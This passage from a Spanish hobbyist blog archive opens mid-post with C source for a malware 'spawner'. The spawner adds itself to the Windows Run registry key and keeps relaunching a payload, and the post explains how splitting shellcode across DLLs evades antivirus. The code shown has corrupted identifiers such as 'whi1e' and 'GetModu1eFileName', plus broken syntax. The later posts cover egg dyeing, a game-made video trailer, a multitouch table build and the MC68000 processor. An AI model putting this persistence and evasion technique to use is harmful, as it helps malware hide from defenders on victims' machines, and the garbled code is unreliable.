Ya para terminar, vamos a añadir una capa más de separación, utilizando un ejecutable (spawner.exe) , el cual es el verdadero ejecutado por nuestro exploit java y que será el encargado de lanzar el payload (Nota: he hecho esto porque a día de escribir el código, el reverse https terminaba el proceso al cabo de unos minutos si no se establecía una conexión):

include <windows.h>
include <tlhelp32.h>
include <tchar.h>

int FIND_PROC_BY_NAME(const char *);

int __stdcall winMain(HINSTANCE hInst, HINSTANCE, LPSTR lpCmdLine, int nShowCmd) {

   LPwSTR *szArgList;
   TCHAR *regu = _T("-noregistry");
   int argCount;

   szArgList = CommandLineToArgvW(GetCommandLine(), &argCount);

   if ((argCount <= 1) || (wcscmp((TCHAR *)szArgList[1], regu) != 0)) {
      TCHAR szPath[MAX_PATH];
      GetModu1eFileName(NULL, szPath, MAX_PATH);
      HKEY newValue;
      RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\windows\\CurrentVersion\\Run"), &newValue);
      RegSetValueEx(newValue, TEXT("checklibs"), 0, REG_SZ, (LPBYTE)szPath, sizeof(szPath));
      RegCloseKey(newValue);
   }

   LocalFree(szArgList);
   TCHAR pro[MAX_PATH] = _T("\\payload.exe");
   TCHAR dire[MAX_PATH+1];
   GetCurrentDirectory(MAX_PATH, dire);

   whi1e(true) {
      if (FIND_PROC_BY_NAME("payload.exe") == 0) {
         ShellExecute(NULL, _T("open"), _tcscat(dire, pro), NULL, NULL, SW_NORMAL);
         Sleep(10000);
   }
}

Este pequeño programa también es inofensivo a los ojos del AV, y lo único que hace es monitorizar si existe el proceso de nuestro payload, y si no es así, lo relanza.

Además, como hemos creado una entrada en el autorun del registro (lo cual podría resultar sospechoso para el AV), siempre es mejor que el "sospechoso" sea este nuestro spawner inofensivo, y no el que carga las librerías del payload.

Resumiendo:

Hemos lanzado nuestro exploit en java, ya modificado, con lo cual el antivirus no lo ha detectado.
El exploit ha volcado 4 archivos al directorio temporal de Windows. El AV los analiza en el momento en que se escriben a disco. Dos de ellos son ejecutables inofensivos, con lo cual no los detecta. Los otros dos son las librerías donde está la shellcode, pero son dos archivos independientes, el AV tampoco detectará una shellcode completa.
Se ejecuta nuestro lanzador inofensivo, el AV no lo detecta en la ejecución. Se ejecuta el payload lanzado, y el AV analiza qué trata de hacer (una función inofensiva), también analiza las DLL al cargarlas (pero cada una realiza la sobreeescritura por separado, tampoco las detecta). Llegado ese punto la shellcode ya está reemplazando la función inofensiva(), pero el AV ya no puede detectarlo, ya que para ello tendría que volver a analizar la ejecución completa del programa en memoria y darse cuenta que el código fue sobreescrito, algo que requeriría muchos más recursos, y que en un programa más complejo sería demasiado intensivo.

Hemos engañado al antivirus sin rompernos la cabeza con algoritmos imposibles, simplemente separando código malicioso en diversos trozos y lugares, y ejecutandolo de una forma poco convencional (sobreescribiendo una función ya existente). Podríamos haber utilizado otros trucos sencillos, como crear un programa con un overflow deliberado y explotarlo para lanzar la shellcode (algo que el antivirus jamás se "imaginaría"), en lugar de integrarla en el propio programa como una función más.

En el hipotético caso de que esto fuese un malware real, ya conocido, y con las firmas añadidas a un antivirus, bastaría con partir en más trozos todavía el código para que el AV dejase de detectarlo, y se convertiría en el juego del gato y el ratón.

¿Soluciones? Pues es bastante complicado. Para que los antivirus pudiesen conseguir una detección robusta no basada en firmas conocidas deberían ser capaces de monitorizar todos los procesos que ocurren en una máquina en todo momento, de relacionar esos procesos entre si de forma racional, tendrían que ser capaces de descubrir automáticamente vulnerabilidades en los programas (sin saber de antemano que las tienen); en definitiva, ser una inteligencia artificial que a día de hoy solo es ciencia ficción. Y necesitarían utilizar prácticamente la totalidad de los recursos de la máquina dejando una pequeñísima parte para el resto de procesos.

Tintanto unos huevos

2011-07-24T10:00:00+02:00

El otro día me enseñó mi prima una web donde mostraban fotos de bento, en los que utilizaban comida con colores poco habituales. Lo que más me llamó la atención fueron huevos teñidos de color azul, rojo, amarillo… y sin utilizar colorantes artificiales.

Como soy muy fan de hacer experimentos desde que era pequeño (cuanto más extraños y llamativos, mejor) y me pilló en el período que me da por la cocina (me ocurre una vez al año o así), decidí ponerme a teñir unos huevos y molestar sorprender a mi familia en la cena.

Para conseguir el tinte azul y rosado de las fotos, he utilizado col roja (col lombarda), que contiene antocianinas (del griego ἀνθός (anthos): ‘flor’ + κυανός (kyáneos): ‘azul’); pigmentos naturales presentes en muchos vegetales y flores, los cuales son responsables de sus colores rojos o azules. Más concretamente, la antocianina presente en la col roja es la cianidina, que se puede encontrar tambien en muchos frutos del bosque como las moras.

Una peculiaridad de las antocianinas es que cuanto más ácido es el medio en que se encuentran, más rojas se vuelven. El tinte que consigo con la col lombarda es de un color violeta, prácticamente azul, y echandole un chorro de vinagre consigo que se vuelva rojo, así que con la misma sustancia tenemos dos tintes diferentes.

Hacerlo es muy sencillo, simplemente tenemos que picar la col meterla en agua caliente (o cocerla, yo personalmente herví agua e hice infusión con ella durante unos 20-30 minutos). Despues colamos esa infusión y la repartimos en dos recipientes. A uno de ellos le eche un chorro de vinagre para volverlo rojo.

Despues sumergimos los huevos cocidos en ambos recipientes y los dejamos así alrededor de media hora o 45 minutos, removiendo cada 10 minutos.

Tintar los huevos (o incluso arroz) de esta manera no varía el sabor de los mismos (quizá los que llevan vinagre pueden oler un poco, pero se pueden lavar sin que pierdan el color).

Tambien se pueden teñir de otros muchos colores utilizando otras plantas o especias (por ejemplo para el amarillo se puede utilizar polvo de curri, o de lavanza utilizando pétalos de violeta). Si quereis sorprender a vuestros hijos (si los teneis) con algo divertido, ya sabeis un truco más.

Como se hizo Rali de Carretillas 6: El videojuego

2011-05-09T00:00:00+02:00

Hace unas semanas tomando un café compañero Sergio hablabamos sobre el juego de Playstation, Little Big Planet 2, y de la impresionante capacidad creativa que ofrece: una plataforma donde se puede crear literalmente cualquier juego o cualquier película de animación que se pueda imaginar.

El 6 de Agosto de este año se celebra el sexto Rali de Carretillas en Vila de Cruces, una "carrera" popular en la que se emplean carretillas. Mi compañero estaba haciendo campaña con una serie de pequeños videos graciosos, a modo campaña viral, y viendo mi fascinación por el LBP2 me dijo “pues podías hacer un video para el Rali simulando un falso trailer de videojuego, así tenemos otro video chorra más“.

La idea se me antojó interesante, puesto que ya tenía pensado realizar machinima utilizandolo, y fue la escusa perfecta para crear la primera. Lo que no sabía eran las estadísticas que iba a obtener este video; compartido 80 veces en Facebook, 5 en Twitter y otras tantas en Google Buzz, además de alguna que otra subscripción a mi canal de Youtube, convirtiendose a escala “local” en un video viral (probablemente por el hecho de que alguna gente todavía cree que se trata de un videojuego real y no de un falso trailer, vete tu a saber).

Para desarrollar este video, a excepción de los subtítulos, he empleado únicamente el LBP2, incluidos los textos que aparecen en él, y monté los brutos con Premiere.

Capturar el video de la consola fue relativamente fácil, puesto que recientemente adquirí una capturadora de video con ese propósito, la Black Magic Intensity Shuttle, que aunque no me permite capturar directamente por HDMI (debido al cifrado HDCP que emplea la PS3, el cual podría saltarme invirtiendo más dinero del que estaba dispuesto a gastar en un HDCP stripper), sí pude capturar en alta definición a traves de Componente.

Desde un principio tenía claro que quería hacer un trailer sobre un videojuego de carreras atípico, quería hacer algo “épico”, así que sin dudarlo decidí inspirarme en uno de los mejores (por no decir el mejor) trailer que he visto en un videojuego, Mass Effect 2 (juego del cual no voy a hablar aquí pero es una obra maestra a nivel cinematográfico).

Sin extenderme demasiado, dicho videojuego es una ópera espacial en la que su protagonista, el Comandante Sheppard, debe reunir a un pequeño equipo con los mejores guerreros y especialistas, y embarcarse en una misión suicida para salvar a la humanidad. Así que ese fue el leitmotiv para nuestro trailer del Rali de Carretillas.

Nuestro héroe, Checha, necesita reunir a los mejores Maestros de la Carretilla para vencer a los nativos de Vila de Cruces en un épico Rali de Carretillas, y se están quedando sin tiempo. La mayoría de los personajes en este trailer están inspirados en varios amigos de la localidad (aunque dejo a la imaginación quien es quien), y Checha es el único que muestra su cara real para destacar su papel de protagonista.

Para animar los objetos y los personajes utilicé diversos “chips”, componentes electrónicos, como puertas AND, OR, Selectores o Timers que se encargaron de controlar como se desplazan horizontal y verticalmente, así como girar sobre si mismos, al pulsar una tecla definida en el mando de la consola.

Para la animación de los labios utilizé el micrófono de la consola para grabar las voces de los personajes y asignarselas a los muñecos, sincronizando despues el video con el audio del trailer.

El juego tambien permite animar los muñecos como si se tratese de marionetas, de forma que tambien grabé sobre ellos ciertas posturas y gestos.

En cuanto a las cámaras, Little Big Planet 2 permite utilizarlas como si se tratasen de cámaras reales. Se pueden hacer panning, zoom, fundidos, variaciones de la profundidad de campo y perspectiva, e incluso encadenar unas cámaras con otras para cambios de plano.

Una vez grabadas todas las escenas, simplemente tuve que montarlas en Premiere ajustandolas a la música, y apliqué filtros de color para darles un aspecto más cinematográfico.

En definitiva, lo que empezó como un simple entretenimiento para reirnos un rato, se convirtió sin buscarlo en una campaña viral de la que he aprendido bastante y sobretodo, con la que me he divertido. Esto es solo un ejemplo de que se puede utilizar prácticamente cualquier cosa para realizar obras creativas, en este caso, un “simple” videojuego.

Experimentando con Realflow y video real

2011-01-07T11:10:00+01:00

Hace unos meses estuve experimentando con la integración de fluidos generados por ordenador sobre video real. La idea era llenar el pasillo de nuestra oficina con una tromba de agua.

Experimentation with Realflow and live action footage

2011-01-07T11:10:00+01:00

Some months ago I was experimenting with the integration of CG fluids over live action footage recorded with a videocamera. The idea was to fill the hall of our offices with a water “tsunami”.

Primer video del prototipo multitouch

2008-12-13T13:45:00+01:00

Llevaba un tiempo sin dar señales de vida, pero aquí dejo el primer video del prototipo funcionando: Eso si, sin proyector todavía :(

Multitouch prototype first video

2008-12-13T13:45:00+01:00

A video I made of the working prototype: Still no projector :(

Multitouch interface: Primer test FTIR

2008-09-15T13:43:00+02:00

Aquí la primera foto del efecto FTIR. Todavía no le he puesto el filtro de luz visible a la cámara, pero como podeis apreciar funciona perfectamente.

Multitouch interface: First FTIR test

2008-09-15T13:43:00+02:00

Here the first picture of my first FTIR test. The camera still lacks the light filter, but yet, it works.

Multitouch interface: Casi terminado

2008-09-12T10:00:00+02:00

Estas son las primeras imagenes de mi mesa, casi terminada. El circuíto de LEDs está conectado a la corriente con un transformador de 12 V, y funciona perfectamente.

He hecho unos cuantas pruebas rápidas para comprobar que genera blobs y, en efecto, cuando coloco mis dedos sobre el panel se generan, incluso sin hacer presión. Se ven un poco tenues, pero la prueba la he hecho con la cámara del móvil, lo cual fitra gran parte de la luz infraroja.

Todavía no he podido probar con la PS Eye sin filtro, pero a juzgar por las imagenes que he tomado con ella la última vez creo que los capturará perfectamente.

Ahora solo necesito obtener un proyector para hacer algunas pruebas reales, pero si no puedo conseguirlo pronto probablemente utilice un monitor estandar y un espejo.

Multitouch interface: Almost done

2008-09-12T10:00:00+02:00

First images of my table, almost finished. The LED circuit is connected to the power with a 12 V transformer, and works like a charm.

I was doing some quick tests to check if it generates blobs and, indeed, when I put my fingers on the panel they are generated, without any sort of pressure. They are a little faint,, but the tests where made with my phone camera, that filters a great part of the IR.

I still couldn’t try with the PS Eye without filter, but judging by the images I took with it the last time I think it will catch blobs nicely.

Now I only have to obtain a projector so I would do some real tests, but if I couldn’t obtain it soon I probably will use an standard monitor and a mirror.

Playstation Eye: Filtro IR

2008-09-12T00:00:00+02:00

Aprovechando mi reciente adquisición de una Playstation 3 (de la cual probablemente escribiré en un futuro próximo dado que tengo unas grandes expectativas en cuanto a su Power Cell), he comprado tambien su cámara, la PS Eye, ya que sus especificaciones son perfectas para el multitouch, y lo más importante, su precio es realmente asequible (teniendo en cuenta que una cámara de caracteristicas similares que tenga buen rendimiento para MT está en torno a los 300€ y no es fácil de conseguir).

Sony PS3 Eye:

4 canales de entrada audio: 16 bits/por canal, 48kHz, SNR 90db
FOV: 56º o 75º
640×480 a 60 fps o 320×240 a 120 fps
Video sin compresión, u opcionalmente compresión JPEG

60 fps es justo lo que necesitamos para un tracking de blobs suave, pero podemos llegar a esos 120 si realmente queremos suavidad (eso si, menor resolución y una máquina potente).

El problema de esta cámara es hacerla funcionar en un PC. Ya estaba empezando a ponerme manos a la obra en escribir un driver para windows, cuando me encuentro que el gran AlexP en NUI Group acaba de publicar el primer driver funcional para la PS Eye (y por consiguiente me he ahorrado el trabajo). Todavía le falta pulirlo un poco y escribir un wrapper para utilizarla con touchlib, pero creo que pronto tendremos algo estable.

Por lo de pronto, ya he retirado el filtro IR de la cámara y utilizaré unos negativos fotográficos velados, o el disco interno de un floppy como filtro de luz visible. De este modo la cámara solo captará la luz infrarroja (no la imagen), es decir, solo los blobs de luz infrarroja que reflejamos con los dedos sobre el acrílico, que luego serán analizados con touchlib (aunque probablemente escriba mis propias librerias basadas en OpenCV para adaptarlo a mis necesidades).

En cuanto a mi prototipo, ya tengo todo cableado, y en breve publicaré algunas fotos de su funcionamiento.

Playstation Eye: IR filter

2008-09-12T00:00:00+02:00

Taking advantage of my recent acquisition of a Playstation 3 (I should write about it in a near future since I have high expectations regarding its Power Cell), I bought also the PS Eye camera, since the specifications are perfect for multitouch, and most importantly, it is really affordable (considering that a camera with similar characteristics having good performance for MT is around 300€ and not easy to find).

Sony PS3 Eye:

4 input audio channels: 16 bits/per channel, 48kHz, SNR 90db
FOV: 56º o 75º
60 fps 640x480 or 120 fps 320×240
Uncompressed video, JPEG compression

60 fps is just what we need for smooth blob tracking, but we can get up to those 120 if we want extra smoothness, at the cost of lower resolution and higher cpu requirements).

The problem with this camera is to make it work on a PC. I was about to start writting a driver for Windows, but then I found that the great AlexP from NUI Group just published the first functional driver for the PS Eye (and therefore I have saved the work). Still needs some tweaking and a wrapper for touchlib, but soon we will have something stable.

For the moment, I have already removed the IR filter from the camera, and will use a veiled photographic negative, or an internal floppy disk as visible light filter. Thus the camera only capture infrared light instead full image; ie, only blobs of infrared light reflected by fingers on acrylic, which will then be analyzed with Touchlib (though probably I will write my own libraries based on OpenCV to fit y needs).

As for my prototype, I already made the wiring, and will soon post some pictures of it.

Multitouch interface: El marco de LEDs

2008-08-21T00:00:00+02:00

Hoy he estado preparando el marco de LEDs que iluminará el panel acrílico. Como ya había comentado antes, para el prototipo estoy utilizando dos perfiles de aluminio en forma de “L” de 90cm (el panel mide 76cm, pero los cogí de 90 para actuar como soporte sobre los caballetes) sobre los que colocaré 25 LEDs infrarrojos.

Todavía no he hecho ningún test, pero ya me ha asaltado la primera duda. Los perfiles que he comprado son en aluminio natural, y probablemente debería haberlos cogido en aluminio pulido para que reflejen mejor los posibles escapes de luz hacia el panel. En todo caso, esto es solo un prototipo de prueba, en la versión final utilizaré ya unos de aluminio pulido y en forma de “U” para cubrir los LED tanto por arriba como por abajo.

La separación entre cada LED es aproximadamente de 3cm y los montaré de forma que los de un borde cubran los puntos no iluminados del otro borde del panel. Para decirlo de un modo más entendible, donde hay un hueco entre dos LED, el extremo contrario tiene uno:

0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

He impreso unas plantillas para pegarlas sobre los aluminios y de ese modo tener perfectamente marcados los puntos donde debo taladrar.

El grosor de los LED es de 5mm, con lo cual utilizaré, obviamente, una broca para metal de 5mm. La idea es colocar los LED desde la parte posterior del aluminio quedando perfectamente ajustados al mismo, exactamente como en la siguiente foto, en la que he utilizado una regla que casualmente trae un agujero de 5mm.

Una vez taladre los agujeros en los perfiles, el montaje será el siguiente (todavía no he taladrado, por lo tanto está sin LED, pero muestra más o menos el asepcto que tendrá el prototipo):

Mañana me pondré manos a la obra, y espero conseguir tambien los cables para el montaje, que por cierto lo haré empleando unos cablecitos con una ficha similar a los jumper de un disco duro, que sirven para no tener que soldar los LEDs ni las resistencias, así será fácil reemplazar o recolocar los componentes si es necesario durante el montaje. De todos modos para un montaje final no son muy recomendables y es preferible soldar.

Multitouch interface: LED frame

2008-08-21T00:00:00+02:00

Today I was building the LED frame that will light the acrylic panel. As I wrote before, for the prototype I’m building I’m using two 90cm L-shaped aluminium profiles (the panel is 76cm, but I bought 90cm to use them as a support over the sawhorses). I will put 25 infrared LEDs on them.

I haven’t done any test yet, but I already have some concerns. The profiles are raw aluminium, and probably I should use polished aluminium to help with reflecting the light leaks back to the acrylic. In any case, this is only a prototype, the final version shoul duse polished frames U-shaped to seal the entire panel perimeter.

Separation between each LED is 3cm aprox., and I will mount them so one side frame will cover the low iluminated point on the other side. To explain it better, where we have a “hole” between 2 LEDs, the other side has one:

0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

I printed some templates to paste them over the aluminium, so I can mark the points where I have to drill.

The LED thickness is about 5mm, so I’ll use a 5mm drill bit, obviously. The idea is to place LEDs from the back of the frame, attaching them tigh to aluminium, like in the next picture, where I used a regular ruler with a 5mm holeon it.

As soon I drill the holes, the assembly will be like the photography below (I still didn’t drilled, so it doesn’t have the LEDs, but you will notice the appearance it will have):

Tomorrow I’ll do it, and I hope to obtain the wires too (I will use just these wires with a tip similar to hard disk jumpers, so I shouldn’t need soldering the LEDs and resistors.

Multitouch interface: Esquema del prototipo

2008-08-20T00:00:00+02:00

Despues de una larga espera por fin he recibido los materiales para ponerme manos a la obra y hacer las primeras pruebas con el interface FTIR.

Por un lado tengo 100 LEDs (he comprado 100, aunque para este proyecto solo utilizaré 50, pero no está de más ser precavidos). He escogido unos Oshram SFH485, ya que son de los que mejor resultado dan para una configuración FTIR: Emiten con una longitud de onda de 880nm, y un ángulo de emisión de 40º. Longitudes de onda superiores son más difíciles de filtrar para nuestro propósito, y el ángulo de emisión de 40º es ideal para el grosor del plexiglass que tengo.

Por otro lado, al fin me ha llegado el acrílico (es lo que más tiempo tuve que esperar). Tiene un grosor de 8 milímetros y unas medidas de 76x54 centímetros. Podría utilizarse uno más delgado, pero dado el tamaño de la plancha preferí no arriesgarme y asegurarme de que es rígido y no se dobla al presionarlo. De todas formas como ya digo, los leds tienen un grosor de 5 mm, asi que un panel de 5-6 mm de espesor sería suficiente.

Tambien he encargado un par de perfiles en L de aluminio de 90 centímetros, que actuarán como "raíles" sobre los que apoyar el panel y colocar los LEDs. Escogí la forma de L para el prototipo porque es más cómodo y menos trabajoso, pero obviamente una vez el prototipo esté terminado lo reemplazaré por un marco completo en forma de U para dejarlo bien rematádo y estable.

Lo primero que tuve que hacer llegado a este punto es decidir el esquema de LEDs que voy a emplear en el proyecto. Utilizaré 25 LEDs con 2 centímetros de separación entre ellos, en cada uno de los bordes (a lo largo) del panel, iluminando de esa forma el panel completo.

Los LEDs operan a 100 mA con una caída de voltage de 1,5V. Dado que utilizaré una alimentación de 12V, los colocaré en 10 series en paralelo de 5 LEDs cada una, utilizando una resistencia de 47ohm, 1W en cada serie. Quizá deba escoger resistencias con menos potencia para que los LED brillen más, pero primero probaré con estas para no arriesgarme a quemar los LED, que no son baratos precisamente.

Nota: La fórmula para calcular resistencias para LEDs (siguiendo la Ley de Ohm) es la siguiente:

R = (Voltage de fuente - Caída de voltage del diodo) / Intensidad del LED

y despues escogemos la resistencia con el valor standard más cercano que sea mayor.

Me queda por solucionar el tema de la película de silicona (la complaint surface), y todavía no tengo proyector ni difusor, pero para empezar a hacer las primeras pruebas y generar los primeros blobs tengo suficiente.

Esta semana me pondré con ello, así que pronto empezaré a poner fotos del proceso explicando los problemas con los que me encuentre en el camino.

Multitouch interface: Prototype schematics

2008-08-20T00:00:00+02:00

After a long wait, at last I have received my materials to start working on the project and make the firs tests with the FTIR phenomenon.

I bought 100 LEDs (100, but I only need 50 for this). I have chosen Oshram SFH485, because are optimal for an FTIR configuration: It’s wavelength is 880nm, and their emission angle 40º. Wavelengths avobe that are harder to filter for our purpose, and the angle is optimal for my plexiglass thickness.

In the other hand, the acrylic (I had to wait a lot to obtain it). It’s thickness is 8mm and it’s measurese 76×54 cm. I could use a thinner one, but it’s so big, so I prefer this thickness to avoid bending when applying pressure over it. LED’s are 5mm, so a 5 – 6mm acrylic should be enough.

I got a couple of 90cm L-Shaped aluminium profiles too. That will act as a “rail” where to support the acrylic and assembly the LEDs. I have chosen L-shape because is comfortable to make a prototype, but obviously U-shape will be the chosen when the prorotype is finished.

The first thing I did was to think my LED scheme. I will use 25 LEDs with 2cm sepparation between them, on each long side of the rectable panel, filling the entire screen.

LEDs work at 100 mA with 1,5V voltage falloff. I’ll be using 12V power, so I’ll make 10 parallel series with 5 LEDs each, using 47ohm resistors, 1W each serie.Perhaps I will need less power resitors to allow LEDs to be brighter, but first I’ll try with this to avoid burning LEDs, because aren’t cheap.

Note: Formula for resistors (following Ohm's law) is this:

R = (Power voltage – diode voltage falloff) / LED current

and then we choose the resistor with the next standard value near our R.

I just need to think how to make the complaint surface with silicone, and I don’t have a projector neither diffusor yet, but still I can start doing tests and start generating my first blobs.

This week I’ll begin, so soon I’ll be posting pictures explaining the issues that can rise during my experiments.

Multitouch interface: Preparativos

2008-04-22T00:00:00+02:00

Desde que vi el video de Jeff Han y su interface multi touch hace ya un año, he quedado totalmente prendado de esa tecnología y me he dedicado a investigar sobre el tema. En realidad es una tecnología no tan nueva, y lo más interesante del tema es que es relativamente sencilla.

Hay todo un movimiento alrededor de los display multi touch, y geeks del todo el mundo se están construyendo sus propios dispositivos de este tipo, e investigando como perfeccionarlos. Los prototipos que están saliendo son de una calidad que nada tendría que envidiar a un dispositivo comercial de estas caracteristicas.

Yo, como buen geek que soy y sobretodo porque soy el primero en babear con esta maravilla tambien he estado investigando y haciendo mis preparativos para construirme mi propio prototipo. Tengo especial interés ya que como programador me abre un montón de posibilidades para experimentar con él una vez lo tenga terminado y funcionando.

Cuando definitivamente me planteé comenzar con este proyecto, lo primero que tuve que hacer fue decidir que tipo de tecnología emplearía en mi interface. Existen dos enfoques principales a la hora de desarrollar un multi touch, que si bien se basan en lo mismo, se construyen de forma totalmente diferente:

FTIR (Frustrated Total Internal Reflection)

Este primer sistema es el más conocido y utilizado hasta el momento, probablemente porque es el sistema que empleó Jeff Han y el que puso de moda esta tecnología.

Con este método utilizamos un panel de acrílico, el cual iluminamos desde sus bordes con LEDs infrarrojos. Utilizamos acrílico y no cristal, porque su transmitancia frente a la luz infrarroja es ideal, mientras que la del cristal no nos sirve para lograr este efecto.

Lo que estamos haciendo es “inundar” el panel de luz IR, la cual va rebotando en su interior (reflexión interna total). Cuando colocamos los dedos sobre el panel, estamos frustrando la reflexión interna y reflejando la luz hacia abajo, donde tenemos una cámara infrarroja, o una videocámara normal con un filtro IR que detectará esos “blobs” de luz, los cuales procesaremos con el ordenador para obtener su posición y de ese modo emplearlos como controladores.

Sobre el panel acrílico colocamos un material difusor sobre el que proyectar la imagen del ordenador desde abajo.

Al utilizar los dedos desnudos sobre el panel, el efecto de “frustración” funciona muy bien, especialmente si tenemos los dedos humedos, debido a que la piel de los dedos es semitransparente y se deforma al apretarla contra el panel, sin embargo al colocar la pantalla difusora, eliminamos el efecto y es necesario hacer bastante presión para obtener el resultado deseado. Para ello debemos utilizar una superficie intermedia entre el panel y el difusor (conocida como complaint surface). Se ha investigado bastante sobre este tema, y actualmente lo que mejor resultado da es crear una fina pelicula de silicona transparente (Sort A Clear Silicone Rubber). Esto complica algo el diseño del prototipo, y lo encarece un poco, aunque no tanto como para frenar a un geek que se precie.

DI (Diffused Illumination)

El segundo método para este tipo de displays es la iluminación difusa. En este caso no inundamos de luz IR el panel (el cual ahora puede ser de plexiglass, cristal escarchado o lo que queramos), sino que lo iluminamos desde la parte inferior empleando lámparas LED, y procurando que quede totalmente iluminado. Al colocar los dedos sobre el panel, estaremos reflejando la luz que viene desde abajo otra vez hacia allí, donde tenemos nuestra cámara.

Este tipo de paneles ademas de trackear los dedos, pueden identificar tambien imagenes fiduciales (el famoso Reactable es un claro ejemplo de este tipo de displays), aunque los “blobs” generados no son tan claros como en el caso de los FTIR.

Los paneles DI son más fáciles de construir, ya que no necesitamos soldar la circuitería de leds para enmarcar el acrílíco, ni necesitamos la “complaint surface”. Sin embargo el dispositivo debe estar encerrado dentro de una caja y la calibración de las lamparas LED es bastante más compleja par obtener un resultado óptimo. Otra desventaja, aunque es posible solucionarlo, es la luz IR ambiente que se cuela desde arriba, lo cual hace que a veces incluso detecte blobs sin llegar a tocar el panel.

Aunque tengo que reconocer que los sistemas DI me atraen bastante por su capacidad de interpretar patrones fiduciales, al final me decidí por el modelo FTIR como primer prototipo, aunque no descarto explorar el modelo DI en un futuro (especialmente si obtengo buenos resultados con el primero, ya que lo más caro es el proyector; y una vez teniendo uno nada me impide hacer otros experimentos con él).

Ahora mismo estoy empezando a encargar los materiales como el panel acrílico y los leds, seguiré informando sobre el proyecto en cuanto empiecen a llegarme.

Multitouch interface: Preparations

2008-04-22T00:00:00+02:00

Since I watched Jeff Han’s video and his multi touch interface a year ago, I was totally charmed with that technology and I was researching a lot about it. It actually is not a new technology, and is relatively simple.

There is a great community around the multi touch displays, and geeks all over the world are building their own devices of this kind, researching and improving them. The prototypes that you can find in that community don’t have anything to envy to commercial ones.

I’m a fulltime geek, and I’m the first to melt with this wonder so I was researching and doing my homewroks to start building my own device. I’m interested on it, because as a coder, I’ll have a new world where to experiment with new software paradigms.

When I first started this project, the first thing I needed was to choose what kind of technology I’ll be using. Currently there are two approaches to make a big multitouch table. They are based in the same concept, but are built in a different manner.

FTIR (Frustrated Total Internal Reflection):

This first approach is the most used to date, probably because jeff Han used it.

With this method we will use an acrylic panel, and then we will fill it with infrared light from LEDs. Using an acrylic instead regular glass does the trick, because it’s transmittance with infrared is top notch, while glass will not work with this physical phenomenon.

We fill the panel with IR light, and that light bounces inside it (total internal reflection). When we touch the panel with our bare fingers, we are frustrating the internal reflection, and refleting the light to the floor, where we have an infrared camera, or a normal camera with a filter that will detect these light “blobs”, so we can process the capture video with a computer to use them as controllers.

Over the acrylic panel we will put a diffusor fabric so we can project the image from the computer from the bottom.

Using the base fingers, the “frustration” effect works very well (even better with moistured fingers), because the skin of the fingers is semi transparent and deforms itself when applying pressure; but if we put the diffusor we need to put a lot more pressure that makes it unusable. To fix avoid that, we need an intermediate surface between the acrylic and the diffusor (known as complaint surface). It was extensively reseached, and the best result to date is making a thin transparent silicone (Sort A Clear Silicone Rubber). That will emulate our fingers skin, but makes the building process much more complicated (and expensive). But not as much as to stop an incurable geek

DI (Diffused Illumination)

The second method is the diffused illumination. In this case we don’t fill the panel with infrared (this tim eit can be acrylic, glass, or any other transparent or translucent material), but we light the bottom side using LED lamps, and trying to illuminate the entire surface. When we touch the glass, we refelct the light back to the floor, where our camera is.

This kind of display, can track fingers, but also fiducial markers (the famous Reactable is a clear example of this kind), but the generated “blobs” are not as clear as FTIR ones.

DI Panels are easier to build, because we don’t need to solder LED circuits, neither a complaint surface. But the device need to be isolated inside a box, and calibrating LED lamps is harder to achieve to obtain an optiaml result. Another disadvantage (but easily fixed), avoiding residual IR from ambient light (in special sunlight). If we don’t get rid of that, probably our display will detect inexistent “blobs” all the time without touching it.

I have to recognize that DI is very interesting because it’s capacity to track fiducial patterns, but I have chosen FTIR for my first project.

Right now I’m starting to order the first pieces, as the acrylic, the LEDs… and I’ll continue reporting my progress as soon a I receive them at my home.

Micro Motorola MC68000

2001-07-02T00:00:00+02:00

Nota preliminar: Este artículo fue publicado en el número #6 de NetSearch Ezine, en 2001.

Esto pretende ser el primero de una serie de artículos (si es que veo interés y tengo tiempo) sobre Electrónica Digital. Voy a intentar enfocarlo para que cualquiera pueda empezar en este tema. No obstante, daré por hecho ciertos conocimientos básicos sobre informática (numeración hexadecimal, binaria,...).

La electronica digital es un tema muy amplio, por tanto esto será algo así como una guía básica a partir de la cual podreis investigar vosotros mismos y profundizar. Existen multitud de microprocesadores; yo voy a escribir sobre el MC68000 de Motorola, ya que es el que conozco y es un buen micro con el que aprender. Esta claro que despues utilizareis otros, pero sabiendo uno no tendreis problemas en aprender otros.

Estoy hablando de micros, ya que en este artículo voy a empezar con la estructura y la programación del micro. Decidí empezar por aquí porque creo que es lo más interesante para empezar en electrónica, ademas será una buena guía de iniciación a lenguaje ensamblador para la gente que no sabe utilizarlo. Si veo que interesa, en otros artículos escribiré sobre mapeo de memorias, circuiteria de selección,...

En la web podreis encontrar un simulador del MC68000 y un manual de funcionamiento con el que podreis compilar y simular los programas que hagais.

Puede que os esteis preguntando cual es la aplicación de todo el royo que vais a leer, sobre todo aplicado a los temas que os interesan. Programando un micro (en la práctica, lo más seguro es que programeis un PIC, que es un poco más limitado que un micro, pero os llegará de sobra) y creando un circuito digital controlado por el, podeis hacer desde una calculadora hasta un selector entre multiples tarjetas SIM segun el PIN introducido, cerraduras controladas por una tarjeta EPROM, emuladores de cualquier circuito que conozcais.

Bueno, sin más preambulos empiezo.

2. Propiedades hardware

Bus interno: 16 bits
Unidad Aritmetico Lógica (ALU) puede operar sobre 16 bits directamente
Registros internos de 32 bits (Datos y Direcciones)
La Entrada/Salida esta mapeada en memoria (Intel utiliza buses diferentes para entrada/salida)
Bus de datos: 16 bits
Bus de direcciones: 32 bits (pero solo utiliza las 24 líneas menos significativas)

* Físicamente solo hay 23 lineas de dirección. A0 se sustituye por UDS y LDS de una forma especial.

[Nota:] Las líneas negadas (con una línea por encima) quieren decir que esa línea se activa con un 0 lógico, en lugar de un 1.

GND (Ground): Masa.
CLK (Clock): Señal de reloj.
D0-D13 (Data): Bus de datos.
A1-A23 (Address): Bus de direcciones.
AS# (Address Strobe): Validación de dirección.
R/W# (Read/Write): Control Lectura/Escritura.
UDS# (Upper Data Strobe): Transferencia por los 8 bits altos del bus de datos.
LDS# (Lower Data Strobe): Transferencia por los 8 bits bajos del bus de datos.
DTACK# (Data Transfer Acknowledge): Indicador de transferencia completa. (la recibe del subsistema de memoria)
IPL*# (Interrupt Priority Level): Entradas de peticion de interrupción. Codifican un número de 3 bits con el nivel de interrupción.
BERR# (Bus Error): Error en el subsistema de memoria o en E/S.
